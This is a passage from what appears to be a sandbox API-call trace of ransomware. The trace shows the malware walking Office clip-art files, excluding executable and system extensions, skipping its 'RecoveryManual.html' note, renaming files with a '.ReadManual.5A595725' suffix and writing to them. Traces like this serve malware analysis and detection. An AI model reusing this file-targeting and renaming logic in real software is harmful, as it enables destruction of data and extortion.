lpPerformanceCount=0x434fd88*=38736280130) returned 1 [0266.694] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0266.694] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.695] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3724) returned 1 [0266.695] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe8c, lpName=0x0) returned 0x184 [0266.695] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.695] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.697] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.697] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe8c) returned 0x2f0000 [0266.697] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38736603812) returned 1 [0266.697] CloseHandle (hObject=0x184) returned 1 [0266.697] SetSecurityInfo () returned 0x57 [0266.697] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.698] CloseHandle (hObject=0x194) returned 1 [0266.698] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0266.698] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107458.WMF" | out: lpString1="J0107458.WMF") returned="J0107458.WMF" [0266.698] lstrcmpiW (lpString1="J0107458.WMF", lpString2="RecoveryManual.html") returned -1 [0266.698] StrStrIW (lpFirst="J0107458.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.698] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.698] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.698] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" [0266.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ReadManual.5A595725" [0266.698] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.ReadManual.5A595725") returned 87 [0266.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38736704424) returned 1 [0266.698] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0266.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.699] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3568) returned 1 [0266.699] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf0, lpName=0x0) returned 0x184 [0266.699] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.699] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.699] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.701] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.701] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf0) returned 0x2f0000 [0266.701] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.701] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38737024119) returned 1 [0266.702] CloseHandle (hObject=0x184) returned 1 [0266.702] SetSecurityInfo () returned 0x57 [0266.702] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.702] CloseHandle (hObject=0x194) returned 1 [0266.702] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0266.702] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107468.WMF" | out: lpString1="J0107468.WMF") returned="J0107468.WMF" [0266.702] lstrcmpiW (lpString1="J0107468.WMF", lpString2="RecoveryManual.html") returned -1 [0266.702] StrStrIW (lpFirst="J0107468.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.702] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.702] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.702] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" [0266.702] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ReadManual.5A595725" [0266.702] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.ReadManual.5A595725") returned 87 [0266.702] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38737122352) returned 1 [0266.703] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0266.703] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.703] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9612) returned 1 [0266.703] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x258c, lpName=0x0) returned 0x184 [0266.703] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.704] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.704] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.705] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.706] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x258c) returned 0x2f0000 [0266.706] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.706] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38737469905) returned 1 [0266.706] CloseHandle (hObject=0x184) returned 1 [0266.706] SetSecurityInfo () returned 0x57 [0266.706] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.706] CloseHandle (hObject=0x194) returned 1 [0266.706] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0266.706] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107480.WMF" | out: lpString1="J0107480.WMF") returned="J0107480.WMF" [0266.706] lstrcmpiW (lpString1="J0107480.WMF", lpString2="RecoveryManual.html") returned -1 [0266.706] StrStrIW (lpFirst="J0107480.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.706] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.706] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.706] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.706] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.707] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.707] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" [0266.707] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ReadManual.5A595725" [0266.707] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.ReadManual.5A595725") returned 87 [0266.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38737566882) returned 1 [0266.707] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0266.707] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.707] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6024) returned 1 [0266.708] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1788, lpName=0x0) returned 0x184 [0266.708] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.708] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.708] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.710] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.710] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1788) returned 0x2f0000 [0266.710] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.710] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38737924782) returned 1 [0266.711] CloseHandle (hObject=0x184) returned 1 [0266.711] SetSecurityInfo () returned 0x57 [0266.711] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.711] CloseHandle (hObject=0x194) returned 1 [0266.711] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0266.711] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107482.WMF" | out: lpString1="J0107482.WMF") returned="J0107482.WMF" [0266.711] lstrcmpiW (lpString1="J0107482.WMF", lpString2="RecoveryManual.html") returned -1 [0266.711] StrStrIW (lpFirst="J0107482.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.711] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.711] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.711] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" [0266.711] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ReadManual.5A595725" [0266.711] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.ReadManual.5A595725") returned 87 [0266.711] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38738022819) returned 1 [0266.712] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0266.712] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.712] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4980) returned 1 [0266.712] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1374, lpName=0x0) returned 0x184 [0266.712] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.713] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.713] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.715] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.715] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1374) returned 0x2f0000 [0266.715] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.715] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38738373836) returned 1 [0266.715] CloseHandle (hObject=0x184) returned 1 [0266.715] SetSecurityInfo () returned 0x57 [0266.715] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.715] CloseHandle (hObject=0x194) returned 1 [0266.715] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0266.715] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107484.WMF" | out: lpString1="J0107484.WMF") returned="J0107484.WMF" [0266.715] lstrcmpiW (lpString1="J0107484.WMF", lpString2="RecoveryManual.html") returned -1 [0266.715] StrStrIW (lpFirst="J0107484.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.715] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.715] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.715] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.716] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.716] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" [0266.716] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ReadManual.5A595725" [0266.716] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ReadManual.5A595725") returned 87 [0266.716] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38738470747) returned 1 [0266.716] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0266.717] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.717] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3040) returned 1 [0266.717] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe0, lpName=0x0) returned 0x184 [0266.717] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.718] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.718] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.719] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.720] 